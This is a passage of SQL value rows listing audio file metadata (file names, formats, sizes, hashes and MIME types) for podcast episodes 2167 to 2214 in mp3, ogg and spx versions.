(2167,'hpr2167.mp3','mp3',10274218,'f859ddb2f9f2e2de67556740a87c2a54cca849ee','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2167,'hpr2167.ogg','ogg',11268507,'f5a186a9adc7cf4d7baca7685d4ec4f88bbc93dd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2167,'hpr2167.spx','spx',4588302,'f4c4b94e63a417cf2d1d8d0e3a5659251f040677','application/ogg; charset=binary','Ogg data, Speex audio'),
(2168,'hpr2168.mp3','mp3',20420788,'50f1584a983bd2900b3ad1c3afc0b38bdd2d3d88','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2168,'hpr2168.ogg','ogg',21699939,'312f24e69d13b508c79814b57f769e1e3281eb38','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2168,'hpr2168.spx','spx',9119847,'e34b5cd5f540aee182bc5f642ef578a2924d433b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2169,'hpr2169.mp3','mp3',7449288,'b406169a7448059d78bd066334c6377de9d98426','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2169,'hpr2169.ogg','ogg',8794310,'f25d494e45193ad2c4eddc3474ec3fac3fd447e1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2169,'hpr2169.spx','spx',3326611,'cd0af070ab76a6c660f55c4c81116b4d3b8dc39b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2170,'hpr2170.mp3','mp3',17070448,'ecfebbfd0e2bc99fbe91776d2bfd43a7c7d1ac14','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2170,'hpr2170.ogg','ogg',16768391,'90b88119d075ba476fa6554ee39f3546be871920','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2170,'hpr2170.spx','spx',7623542,'e2eeed338269a962e30c8de37faa4169a5ab7167','application/ogg; charset=binary','Ogg data, Speex audio'),
(2171,'hpr2171.mp3','mp3',2880502,'69a340aaf61ce014c048194bf8cad2b6f2f8a19b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2171,'hpr2171.ogg','ogg',3240927,'d88086a66fe5ff5764aed4c44b3af04987a8a46d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2171,'hpr2171.spx','spx',1286206,'fa45eb783e8358f113b6322ba66acd3909044378','application/ogg; charset=binary','Ogg data, Speex audio'),
(2172,'hpr2172.mp3','mp3',13437725,'9bc736c62821e04cd901fc8a8e8ea7a7feb1a216','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2172,'hpr2172.ogg','ogg',14617548,'d9cb1a403899fd1a6c9150b9b6698b46e30bbef4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2172,'hpr2172.spx','spx',6001132,'021f5018a9904a1c540f4d052e56544a3365b8cb','application/ogg; charset=binary','Ogg data, Speex audio'),
(2173,'hpr2173.mp3','mp3',19881464,'b3de3704e766832f56a3a8374baf23341e066e30','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2173,'hpr2173.ogg','ogg',22306388,'9fda430ac46b142680b8cedf6008d4c844e1b69a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2173,'hpr2173.spx','spx',8879063,'ea1239c38418a5d242c298a3d36deafb0f06b28b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2174,'hpr2174.mp3','mp3',20733826,'fbb031191ea31a0f3d19f33c8be8a8ebb3fe45ce','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2174,'hpr2174.ogg','ogg',20985581,'f73ca6fd855cb204cee0de4e067a1ea2a300098d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2174,'hpr2174.spx','spx',9259670,'2f59d5f7ed0bd40f04e1e843829cf95c2df72b74','application/ogg; charset=binary','Ogg data, Speex audio'),
(2175,'hpr2175.mp3','mp3',9855825,'0fd93ec15b7472798f81788d1a1ab5ca2671df6a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2175,'hpr2175.ogg','ogg',10771851,'1a22a5e3b1bed9f40282624eef00d8b8b03eb504','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2175,'hpr2175.spx','spx',4401406,'523d1157a9eb694623d1b2bbc28ea7abda486b4b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2176,'hpr2176.mp3','mp3',38639210,'b75d988b27ccd95c4d5fe7104b87b65833031f61','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2176,'hpr2176.ogg','ogg',39417473,'6c7a236969e6a77b109a0e63d8bb8ee9f5a02e77','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2176,'hpr2176.spx','spx',17256415,'161bd6020e08897fe5b41e907efad4ec30a6222b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2177,'hpr2177.mp3','mp3',4462526,'c0429dc420d108479aab9b4aa471e46d77d41c86','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2177,'hpr2177.ogg','ogg',5063611,'1bb3c74a2047e4f5c0b12a4e94a5ba75d09ca138','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2177,'hpr2177.spx','spx',1992696,'b1b8e24522d06ca4044639a842c08681f518a822','application/ogg; charset=binary','Ogg data, Speex audio'),
(2178,'hpr2178.mp3','mp3',12914002,'0ffa4b03365876c0f0d9a5c365c627e70025faf8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2178,'hpr2178.ogg','ogg',13134261,'ea2a223604b9912b80608a5e4adb59fe7d670959','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2178,'hpr2178.spx','spx',5767216,'4e1771fa48e5fd6bd63d08bffc65f7a879aaa155','application/ogg; charset=binary','Ogg data, Speex audio'),
(2179,'hpr2179.mp3','mp3',7841727,'474060178bf11d2c77bf4b5aef9f1cb9e99d8d4a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2179,'hpr2179.ogg','ogg',9708952,'7b85faf6ffb05dbb3a8adca4d8b7d55027865b18','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2179,'hpr2179.spx','spx',3501954,'572ac66a02d98842fdc7072dcdc814dec5edbadf','application/ogg; charset=binary','Ogg data, Speex audio'),
(2180,'hpr2180.mp3','mp3',6658507,'6bbede089282a7159efc06aaef69c3db76276a5d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2180,'hpr2180.ogg','ogg',7452888,'abbbf8646b189bc34456b03d0ed7b60fa5f53495','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2180,'hpr2180.spx','spx',2973486,'163c1f53d4f58f73e2d60941e71108a45171c6e0','application/ogg; charset=binary','Ogg data, Speex audio'),
(2181,'hpr2181.mp3','mp3',5064753,'76d9bff4bdcb7e56f2b34014b9f89b605c4a03e7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2181,'hpr2181.ogg','ogg',5737555,'435c4d1ebd6115c7e2298cf4ee39dc8f66c8d709','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2181,'hpr2181.spx','spx',2261687,'e72eb3ffea2a2a6be0e87d2d58e4ecc1b0a61d94','application/ogg; charset=binary','Ogg data, Speex audio'),
(2182,'hpr2182.mp3','mp3',4743561,'4233993cccca10f80c8f4e2e353069857f92582e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2182,'hpr2182.ogg','ogg',5341212,'782990cbb28466af638f8b3d08d97e47a842cc3d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2182,'hpr2182.spx','spx',2118282,'0b20255ffa76914c83afa01f1130058a607ae6ce','application/ogg; charset=binary','Ogg data, Speex audio'),
(2183,'hpr2183.mp3','mp3',8233753,'df0e2589f4760b472e94c054e954f4c3368c083a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2183,'hpr2183.ogg','ogg',9154557,'16225fe50d46aa2cf125fe712f3e1a9d6d86fe86','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2183,'hpr2183.spx','spx',3677018,'6cecbb6b79fa746ed1594893db8b9d1679db3b30','application/ogg; charset=binary','Ogg data, Speex audio'),
(2184,'hpr2184.mp3','mp3',20231247,'15ffea28eaf4b526b1dc8478a4170a74f55ee873','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2184,'hpr2184.ogg','ogg',22109536,'e923909b82509bf2af38e3f6b4f72ef29c32cb45','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2184,'hpr2184.spx','spx',9035148,'a93eba4117af91b285cc2f1a48e32da50f50f2b1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2185,'hpr2185.mp3','mp3',3540485,'8cb989c52a40c06ed2c92945d1e2d51d2c6e9e43','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2185,'hpr2185.ogg','ogg',3904019,'6f1bed4b4a73b44b8a1f0227b07e7d1d1e1ac7da','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2185,'hpr2185.spx','spx',1580925,'8d9613e2bb041484bca519a5537299669c98c86a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2186,'hpr2186.mp3','mp3',9684890,'a067ff8dbb9c933b97f4d7358b728cc531067214','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2186,'hpr2186.ogg','ogg',10640628,'53702747e1c629ec02170f33d237ea2c5b736e13','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2186,'hpr2186.spx','spx',4325031,'5ad6b335633a7d87d376fffe2840d2a1e1f61c42','application/ogg; charset=binary','Ogg data, Speex audio'),
(2187,'hpr2187.mp3','mp3',14769615,'bc8b0568f3745df2aded431b47b37696890faa73','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2187,'hpr2187.ogg','ogg',16152835,'0acaf6c87ad6f3586b4770e7ae609d28b5dd352b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2187,'hpr2187.spx','spx',6595936,'67cb426a29f347c221d50a1f60713c1c9adfe199','application/ogg; charset=binary','Ogg data, Speex audio'),
(2188,'hpr2188.mp3','mp3',3555684,'114754305809455572f75a8fb5c3238284a8eeeb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2188,'hpr2188.ogg','ogg',3975509,'bdd69551bb563f0b59dd708f3f0e2b9b59857a3b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2188,'hpr2188.spx','spx',1587738,'c119deb181617e3b6ed4cbc327d2820d360b7b9a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2189,'hpr2189.mp3','mp3',16473815,'ca7f348b9d33f3aa25c9db3d98570afa65a2cabe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2189,'hpr2189.ogg','ogg',17662653,'f48b6800a64db9068b711973492e29b71a3563c8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2189,'hpr2189.spx','spx',7357059,'e723bf70bd65131c91f2e2a868bd179478f2633b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2190,'hpr2190.mp3','mp3',2937783,'73ae197baa916e6e662cb09f2bf24e7dff302292','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2190,'hpr2190.ogg','ogg',3295786,'ef83ff25e63faf4f0efe9279298755479d197666','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2190,'hpr2190.spx','spx',1311762,'c994df8ab27528bc09c09fd91f946e0df77f0e59','application/ogg; charset=binary','Ogg data, Speex audio'),
(2191,'hpr2191.mp3','mp3',5908268,'5efff339fa25342608a22bf367f159edb3b11636','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2191,'hpr2191.ogg','ogg',6771825,'305e293f5fb51d7a8c94fcb6bcc71784a2b71738','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2191,'hpr2191.spx','spx',2638404,'fb1fe5ad534aa4912be18f4b3ade2532ee8965d3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2192,'hpr2192.mp3','mp3',5659507,'ec29ef95fba1bc66b5429004acef5356134577ca','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2192,'hpr2192.ogg','ogg',6392751,'2f3e73975ab02856ec0099482d333ba5eb73946f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2192,'hpr2192.spx','spx',2527292,'d612937653128c874a319f99d18c5794ce4736b2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2193,'hpr2193.mp3','mp3',9649135,'9beb9774715f0831070cad41ddcdc655fbd130e5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2193,'hpr2193.ogg','ogg',10554238,'5a7d38e05a745b9103097a0f9918afbc14872d58','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2193,'hpr2193.spx','spx',4309141,'9d8340dd16149f81490cc4c71adb96655eaf491c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2194,'hpr2194.mp3','mp3',16512283,'a27649944a87dbc9da6307ae33cd6aa3befe747f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2194,'hpr2194.ogg','ogg',20246619,'1dae22ff2c55f4107ca00ad9733abc80d4367b20','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2194,'hpr2194.spx','spx',7374223,'c08c8e2cd9c3f3066dc010426bbda0ee0237d43e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2195,'hpr2195.mp3','mp3',14645666,'03b1f0be2b6a09ebc74b0031eda56e7c5407be6b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2195,'hpr2195.ogg','ogg',14774073,'5e60a32e5e72e10f7bf5e64b63abb30873b88e27','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2195,'hpr2195.spx','spx',6540678,'fe980840ec402259ce7ffc4940b037232ab2ef19','application/ogg; charset=binary','Ogg data, Speex audio'),
(2196,'hpr2196.mp3','mp3',43879424,'7236b40965e45cb84676e68f8bc929c544a5a70c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2196,'hpr2196.ogg','ogg',45320470,'4c55a00a8af3eaa0e7ebb9f04726280008713acd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2196,'hpr2196.spx','spx',19596727,'7064cdbcb47aa74a2aec33fe24a7fa8579d185d1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2197,'hpr2197.mp3','mp3',4501574,'dc844ad2909c5517cca2c7d04556ba47375b7d14','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2197,'hpr2197.ogg','ogg',4939314,'e460dd445b09e317ea2573f562c561b407881278','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2197,'hpr2197.spx','spx',2010168,'a79724bf0f4e570d5450dff1602032eff1ba73d2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2198,'hpr2198.mp3','mp3',41174183,'818ee5cefd1b2842919a6a42b4275b378905a73a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2198,'hpr2198.ogg','ogg',45043064,'5a6e18e082eb28fefbd60297dacd8c0b09d0d3f4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2198,'hpr2198.spx','spx',18388510,'16cecb73c1d91bccaa2d2721e4b8feb19e31a5cb','application/ogg; charset=binary','Ogg data, Speex audio'),
(2199,'hpr2199.mp3','mp3',9392367,'45169800d63bb700076bc11e542e470beccf5492','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2199,'hpr2199.ogg','ogg',10279163,'a994e1f46ed6ce0a2811b5a63a6418b4e5194fe5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2199,'hpr2199.spx','spx',4194455,'2e180e801f59be4be057733d22c1833ad2bc0aae','application/ogg; charset=binary','Ogg data, Speex audio'),
(2200,'hpr2200.mp3','mp3',2292441,'34191a5ba034efb67da8316e798bed90a2c366a8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2200,'hpr2200.ogg','ogg',2582165,'28c19248d72cfbe381cde06df9223f4047046b3f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2200,'hpr2200.spx','spx',1023543,'3fc1fcd0b3ed30b9c2bc4f4462344dba24fb5bb4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2201,'hpr2201.mp3','mp3',18613762,'726cd3e77b40fc5f1050031e24a4da2a2eddc800','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2201,'hpr2201.ogg','ogg',19516169,'bf7f773677d54fc6c07dc4e880a2b805f8301d41','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2201,'hpr2201.spx','spx',8312880,'305e320ac3f21feea40afd60a9f57ab659f50143','application/ogg; charset=binary','Ogg data, Speex audio'),
(2202,'hpr2202.mp3','mp3',12974884,'92ad92f6d34c24f566f8c38bb987e8749f31a5b8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2202,'hpr2202.ogg','ogg',14693232,'736c38dcfcbadfe4aec3b1f0375334aaa24e3ba4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2202,'hpr2202.spx','spx',5794455,'4e56a0f7cdf658f3a8852edbf22f43ce084d50e7','application/ogg; charset=binary','Ogg data, Speex audio'),
(2203,'hpr2203.mp3','mp3',4760684,'a4bdfcc45530b9e10a8a285ce26cb266e490d8fe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2203,'hpr2203.ogg','ogg',3816076,'49817a31a67df0b44024267d046409bf60a6de14','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2203,'hpr2203.spx','spx',2125847,'8878e161c34da3f14bdb9d4d1d2b2e0101b5b790','application/ogg; charset=binary','Ogg data, Speex audio'),
(2204,'hpr2204.mp3','mp3',5065352,'5a61867c06d7827650679b35f323c8a4aeba78ba','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2204,'hpr2204.ogg','ogg',4184019,'858f54bfee8f7058d5379200cebac9cabafd3f84','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2204,'hpr2204.spx','spx',2262013,'ffa1e27a5a25cf3177ed4e0a6a4686705ad2e000','application/ogg; charset=binary','Ogg data, Speex audio'),
(2205,'hpr2205.mp3','mp3',4437840,'eda2e653ab471fa5ea5278acabcb35cee22d095e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2205,'hpr2205.ogg','ogg',4508299,'e93f18e373dff5d9e533285eee04fa6b8dd03d7f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2205,'hpr2205.spx','spx',1981726,'5606b524e3bdff289de01191c545a568640579c6','application/ogg; charset=binary','Ogg data, Speex audio'),
(2206,'hpr2206.mp3','mp3',8831825,'ee4833fd71983fcc970a497f246ece6b0a124d77','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2206,'hpr2206.ogg','ogg',9246666,'a9945ae389b782fcb944ed59f246472e26cfd9d7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2206,'hpr2206.spx','spx',3944161,'1d86528393319e6c6ed25bbaac7257163b05e2c4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2207,'hpr2207.mp3','mp3',4919149,'e44ef368d69648971e7ac0b3433b3ef31f1a07fb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2207,'hpr2207.ogg','ogg',4657638,'b0417c24f044653ec730ee43760e569031769f84','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2207,'hpr2207.spx','spx',2196700,'ebff93509ac19bae14b2a99c682dfee84a4a7acf','application/ogg; charset=binary','Ogg data, Speex audio'),
(2208,'hpr2208.mp3','mp3',13123456,'05811b18b67b9d10078fc4419b81dfb26743cf09','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2208,'hpr2208.ogg','ogg',15077914,'181972b779c1e4dabf5e42808b20c680b4c55b44','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2208,'hpr2208.spx','spx',5860834,'3be6cf2f0071a04a361eb3123fb05de0fec2edb5','application/ogg; charset=binary','Ogg data, Speex audio'),
(2209,'hpr2209.mp3','mp3',6275621,'25ee4d3e0de4902fc67728c0d5cdd0c2b891e7bc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2209,'hpr2209.ogg','ogg',7565686,'cd3da36aad5612da9c790590f6a01a2b9741c320','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2209,'hpr2209.spx','spx',2802440,'cef8fbb5c6a7b924ef148e9a31a0ac5c3ed2b1a2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2210,'hpr2210.mp3','mp3',11496734,'53fa3b73e55dbe5326643aa90a0566094f6bb73f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2210,'hpr2210.ogg','ogg',13152839,'7be36a41b71efe02489a06286085772717c77faf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2210,'hpr2210.spx','spx',5134281,'15f5ced1fd563ff350235b87cf74b4ffe53092de','application/ogg; charset=binary','Ogg data, Speex audio'),
(2211,'hpr2211.mp3','mp3',13539932,'cea28b660445d103b44264424c772a3c8a6f0a1c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2211,'hpr2211.ogg','ogg',15415805,'8ab13b0344edf3e094cc7ee6a50aa7e34a3fb0f5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2211,'hpr2211.spx','spx',6046815,'baba0b9ba06960553ec0258cbfec10b281dc6144','application/ogg; charset=binary','Ogg data, Speex audio'),
(2212,'hpr2212.mp3','mp3',3448098,'c0c93e5d3f3b9b7976e756d5d3f5d5d9f616e4de','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2212,'hpr2212.ogg','ogg',3915264,'d4b99764f0472c669a29503fa7c5d69ec1517c7b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2212,'hpr2212.spx','spx',1539626,'9ae67b579378c410f225d9b3a392ab3504a0eb0f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2213,'hpr2213.mp3','mp3',6262792,'ed856c472fe810b1868019822e6ec0d0fb2bb0a2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2213,'hpr2213.ogg','ogg',6839461,'1a2ad7a5e2f335e3ad56c5d80269547b88f65ff6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2213,'hpr2213.spx','spx',2796793,'998131e45172db65fd47516e475404c3c94c0746','application/ogg; charset=binary','Ogg data, Speex audio'),
(2214,'hpr2214.mp3','mp3',8930935,'62f53aa254c1ae1861ed273e082d255bba99bc7f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2214,'hpr2214.ogg','ogg',10235862,'94e19571e7d69c688d02fc7cce4bf5ab9373c55c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2214,'hpr2214.spx','spx',3988363,'b40b879b516d50cee716e496134b4bcb643cdc97','application/ogg; charset=binary','Ogg data, Speex audio'),
